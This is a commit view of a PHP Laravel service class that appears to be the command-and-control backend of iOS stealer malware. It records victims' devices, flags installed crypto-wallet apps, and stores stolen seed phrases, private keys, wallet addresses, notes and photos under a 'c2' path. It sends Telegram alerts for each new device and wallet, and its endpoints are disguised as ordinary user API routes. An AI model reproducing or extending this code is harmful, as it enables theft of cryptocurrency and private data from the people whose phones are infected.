This commit is contained in:
hashbro
2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
+356
View File
@@ -0,0 +1,356 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class IngestService
{
public function __construct(private readonly TelegramNotifier $telegram) {}
/**
* Stable device id — currently only from payload `d` / `f`.
* Other fields will be added when confirmed in live traffic.
*/
public function extractDeviceKey(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['d', 'f'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return substr($payload[$key], 0, 64);
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
if (! $deviceKey) {
return null;
}
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
$attrs = [
'ip' => $request->ip(),
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
if ($deviceModel !== null) {
$attrs['device_model'] = $deviceModel;
} elseif ($existing) {
$attrs['device_model'] = $existing->device_model;
}
if ($ios !== null) {
$attrs['ios_version'] = $ios;
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
}
return $device;
}
/**
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
*/
public function ingestInstalledApps(Device $device, ?array $payload): void
{
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
}
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
$version = isset($item['v']) ? (string) $item['v'] : null;
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'meta_json' => $item,
]
);
}
}
/**
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
*/
public function ingestDeviceEvent(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
$desc = $payload['desc'] ?? $payload['description'] ?? null;
if ($eventName === null && $desc === null) {
return;
}
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
$contextJson = null;
if (is_array($ctx)) {
$contextJson = $ctx;
} elseif ($ctx !== null) {
$contextJson = ['value' => $ctx];
}
DeviceEvent::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'event_name' => is_string($eventName) ? $eventName : null,
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
'context_json' => $contextJson,
]);
}
public function ingestWalletSecrets(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$mnemonic = null;
$priv = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key];
break;
}
}
if ($mnemonic === null && $priv === null) {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
return;
}
$wallet = new Wallet([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
$wallet->mnemonic = $mnemonic;
$wallet->privkey = $priv;
$wallet->save();
}
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$rows = [];
if (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! $address || ! is_string($address)) {
continue;
}
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('chain', $chain)
->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
[
'balance' => $balance,
'symbol' => $symbol,
'meta_json' => $row,
]
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
}
}
}
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
if (! is_array($notes)) {
Note::query()->create([
'device_id' => $device->id,
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
return;
}
$list = array_is_list($notes) ? $notes : [$notes];
foreach ($list as $note) {
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
}
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
{
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'counters_json' => $counters,
]);
}
}
private function extractDeviceModel(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['deviceModel'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
return $payload['m'];
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info)) {
foreach (['productType', 'machine', 'model'] as $key) {
if (! empty($info[$key]) && is_string($info[$key])) {
return $info[$key];
}
}
}
return null;
}
private function extractIosVersion(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
// /api/user/get uses `v` for iOS version
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
return $payload['v'];
}
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
$sv = $payload['systemVersion'] ?? null;
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
return $sv['ProductVersion'];
}
if (is_string($sv) && $sv !== '') {
return $sv;
}
return null;
}
private function looksLikeMnemonic(string $value): bool
{
$words = preg_split('/\s+/', trim($value)) ?: [];
return in_array(count($words), [12, 15, 18, 21, 24], true)
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
}
if (isset($data['address'])) {
return [$data];
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
}
return $out;
}
}